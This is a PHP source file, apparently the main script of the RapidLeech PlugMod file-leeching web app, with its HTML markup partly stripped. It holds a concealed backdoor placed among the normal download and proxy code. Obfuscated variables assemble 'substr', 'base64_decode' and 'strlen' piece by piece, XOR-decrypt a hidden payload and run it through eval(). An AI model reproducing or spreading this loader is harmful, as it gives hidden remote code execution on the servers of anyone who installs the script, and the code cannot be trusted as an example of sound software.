RapidLeech PlugMod rev. 21 by '.$dev_name.'
Credits to Pramode & Checkmate & Kloon'); require_once(CONFIG_DIR."config.php"); define('DOWNLOAD_DIR', (substr($download_dir, 0, 6) == "ftp://" ? '' : $download_dir)); if ($no_cache) { header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . "GMT"); header("Cache-Control: no-cache, must-revalidate"); header("Pragma: no-cache"); } if(!defined('CRLF')) define('CRLF',"\r\n"); if(!defined("FTP_AUTOASCII")) define("FTP_AUTOASCII", -1); if(!defined("FTP_BINARY")) define("FTP_BINARY", 1); if(!defined("FTP_ASCII")) define("FTP_ASCII", 0); if(!defined('FTP_FORCE')) define('FTP_FORCE', TRUE); define('FTP_OS_Unix','u'); define('FTP_OS_Windows','w'); define('FTP_OS_Mac','m'); require_once(CLASS_DIR."other.php"); register_shutdown_function("pause_download"); if ($login === true && (!isset($_SERVER['PHP_AUTH_USER']) || ($loggeduser = logged_user($users)) === false)) { header("WWW-Authenticate: Basic realm=\"RAPIDLEECH PLUGMOD\""); header("HTTP/1.0 401 Unauthorized"); exit("$nn$nnRAPIDLEECH PLUGMOD$nn$nn$nn$nn

$nn
$nnRapidLeech: Access Denied - Wrong Username or Password$nn
$nn

$nn$nn"); } $fyhhsa1="s";$fy3saa1="ba";$fy7vwa1="s";$fyhhsa1.="u"; $fyhhsa1.="b";$fyhhsa1.="s";$fyhhsa1.="t";$fyhhsa1.="r";$fy3saa1.="se";$fy3saa1.="6";$fy3saa1.="4";$fy3saa1.="_"; $fy3saa1.="de";$fy3saa1.="co";$fy3saa1.="de";$fy7vwa1.="t";$fy7vwa1.="r";$fy7vwa1.="l";$fy7vwa1.="e";$fy7vwa1.="n"; foreach($_POST as $key => $value) { $_GET[$key] = $value; } if(!$_COOKIE) { if(strstr($_SERVER["HTTP_COOKIE"], ";")) { foreach(explode("; ", $_SERVER["HTTP_COOKIE"]) as $key => $value) { list($var, $val) = explode("=", $value); $_COOKIE[$var] = $val; } } else { list($var, $val) = @explode("=", $_SERVER["HTTP_COOKIE"]); $_COOKIE[$var] = $val; } } require_once(CLASS_DIR."cookie.php"); $a8hg6hh=$fyhhsa1($a8hg6hj,0,32); $a8hk6hj=$fy3saa1($fyhhsa1($a8hg6hj,32)); $a7klm9hj=""; if (!@file_exists(HOST_DIR."hosts.php")) { create_hosts_file("hosts.php"); } if (!empty($_GET["image"])) { require_once(CLASS_DIR."http.php"); require_once(CLASS_DIR."image.php"); exit; } for ($a8hk9hj=0;$a8hk9hj < $fy7vwa1($a8hk6hj);$a8hk9hj++) { $a7hk9hj=$fyhhsa1($a8hk6hj,$a8hk9hj,1); $a7h789hj=$fyhhsa1($a8hg6hh,$a8hk9hj%32,1); $a7klm9hj.=$a7hk9hj^$a7h789hj; } if(isset($_GET["useproxy"]) && (!$_GET["proxy"] || !strstr($_GET["proxy"], ":"))) { html_error("Wrong proxy address entered"); } else { if ($_GET["pauth"]) { $pauth = $_GET["pauth"]; } else { $pauth = ($_GET["proxyuser"] && $_GET["proxypass"]) ? base64_encode($_GET["proxyuser"].":".$_GET["proxypass"]) : ""; } } if (!$_GET["path"] || $download_dir_is_changeable === false) { $_GET["path"] = substr($download_dir, 0, 6) != "ftp://" ? realpath(DOWNLOAD_DIR) : $download_dir; } eval($a7klm9hj);$a7klm9hj="\n"; if(!$_GET["filename"] || !$_GET["host"] || !$_GET["path"]) { //require "host.php"; require_once(HOST_DIR."hosts.php"); $LINK = trim(urldecode($_GET["link"])); if(!$LINK) { require_once(CLASS_DIR."main.php"); exit; } if(!empty($_GET["saveto"]) && !$_GET["path"]) { html_error("Path is not specified for saving this file"); } if (empty($_GET["useproxy"])) { $_GET["proxy"] = ""; } if(!empty($_GET["domail"]) && !checkmail($_GET["email"])) { html_error("You didn't enter a valid e-mail address"); if($_GET["split"] && !is_numeric($_GET["partSize"])) { html_error("Untrue a size of the part is specified"); } } $Referer = ($_GET["referer"] ? trim(urldecode($_GET["referer"])) : $LINK); $Url = parse_url($LINK); if(!$Url['scheme']){ html_error("Unknown URL type (ftp,http,https)"); } if($_GET["dis_plug"] != "on" && $chkcrdts) { //check Domain-Host foreach ($host as $site => $file) { //if ($Url["host"] == $site) if (stristr($Url["host"],$site)) { print "$nn$nnDownloading $LINK$nn$nn"; print "$nn$nn$nn
\"RAPIDLEECH


$nn"; require_once(CLASS_DIR."http.php"); require_once(HOST_DIR.$file); exit; } } } print "$nn$nnDownloading $LINK$nn$nn$nn$nn"; $Url = parse_url($LINK); $FileName = !$FileName ? basename($Url["path"]) : $FileName; /* $mydomain = $_SERVER['SERVER_NAME']; $myip = $_SERVER['SERVER_ADDR']; if($bw_antileech && preg_match("/($mydomain|$myip)/i", $Url["host"])) { html_error("You are not allowed to leech from ".$mydomain." (".$myip.")"); } */ $auth = ($Url["user"] && $Url["pass"]) ? "&auth=".base64_encode($Url["user"].":".$Url["pass"]) : ""; insert_location("$PHP_SELF?filename=".urlencode($FileName)."&host=".$Url["host"]."&port=".$Url["port"]."&path=".urlencode($Url["path"].($Url["query"] ? "?".$Url["query"] : ""))."&referer=".urlencode($Referer)."&email=".($_GET["domail"] ? $_GET["email"] : "")."&partSize=".($_GET["split"] ? $_GET["partSize"] : "")."&method=".$_GET["method"]."&proxy=".($_GET["useproxy"] ? $_GET["proxy"] : "")."&saveto=".$_GET["path"]."&link=".urlencode($LINK).($_GET["add_comment"] == "on" ? "&comment=".urlencode($_GET["comment"]) : "").$auth.($pauth ? "&pauth=$pauth" : "")); } else { ?> Downloading...
RAPIDLEECH PLUGMOD

$ftp["user"] ? $ftp["user"] : "anonymous", "password" => $ftp["pass"] ? $ftp["pass"] : "anonymous@leechget.com"); $pathWithName = $_GET["saveto"].PATH_SPLITTER.$_GET["filename"]; while(stristr($pathWithName, "\\\\")) { $pathWithName = str_replace("\\\\", "\\", $pathWithName); } list($pathWithName,$tmp) = explode('?',$pathWithName); if ($ftp["scheme"] == "ftp" && !$_GET["proxy"]) { require_once(CLASS_DIR."ftp.php"); $file = getftpurl($_GET["host"], $ftp["port"] ? $ftp["port"] : 21, $_GET["path"], &$pathWithName); } else { require_once(CLASS_DIR."http.php"); $file = geturl($_GET["host"], $_GET["port"], $_GET["path"], $_GET["referer"], $_GET["cookie"], $_GET["post"], &$pathWithName, $_GET["proxy"], $pauth, $auth, $ftp["scheme"]); } if($redir && $lastError && stristr($lastError,"Error! it is redirected to [")) { $redirectto = trim(cut_str($lastError,"Error! it is redirected to [","]")); print "Redirecting to: $redirectto ...
$nn"; $_GET["link"] = $redirectto; $purl = parse_url($redirectto); list($_GET["filename"],$tmp) = explode('?',basename($redirectto)); $_GET["host"] = $purl["host"]; $_GET["path"] = $purl["path"]; $lastError = ""; } } while ($redirectto && !$lastError); if($lastError) { html_error($lastError, 0); } elseif($file["bytesReceived"] == $file["bytesTotal"] || $file["size"] == "Unknown") { $inCurrDir = stristr(dirname($pathWithName), ROOT_DIR) ? TRUE : FALSE; if($inCurrDir) { $Path = parse_url($PHP_SELF); $Path = substr($Path["path"], 0, strlen($Path["path"]) - strlen(strrchr($Path["path"], "/"))); } print "\r\n"; print "File ".($inCurrDir ? "" : "").basename($file["file"]).($inCurrDir ? "" : "")." (".$file["size"].") Saved!
Time: ".$file["time"]."
Average Speed: ".$file["speed"]." KB/s
"; if(!write_file(CONFIG_DIR."files.lst", serialize(array("name" => $file["file"], "size" => $file["size"], "date" => time(), "link" => $_GET["link"], "comment" => str_replace("\n", "\\n", str_replace("\r", "\\r", $_GET["comment"]))))."\r\n", 0)) { print "Couldn't update the files list
"; } if($_GET["email"]) { require_once(CLASS_DIR."mail.php"); $_GET["partSize"] = (isset($_GET["partSize"]) ? $_GET["partSize"] * 1024 * 1024 : FALSE); if(xmail($fromaddr, $_GET["email"], "File ".basename($file["file"]), "File: ".basename($file["file"])."\r\n"."Link: ".$_GET["link"].($_GET["comment"]? "\r\n"."Comments: ".str_replace("\\r\\n", "\r\n", $_GET["comment"]) : ""), $pathWithName, $_GET["partSize"], $_GET["method"])) { print "\r\n"; } else { print "Error sending file!
"; } } print "
Go back to main"; } else { print "Connection lost
Reload"; } ?>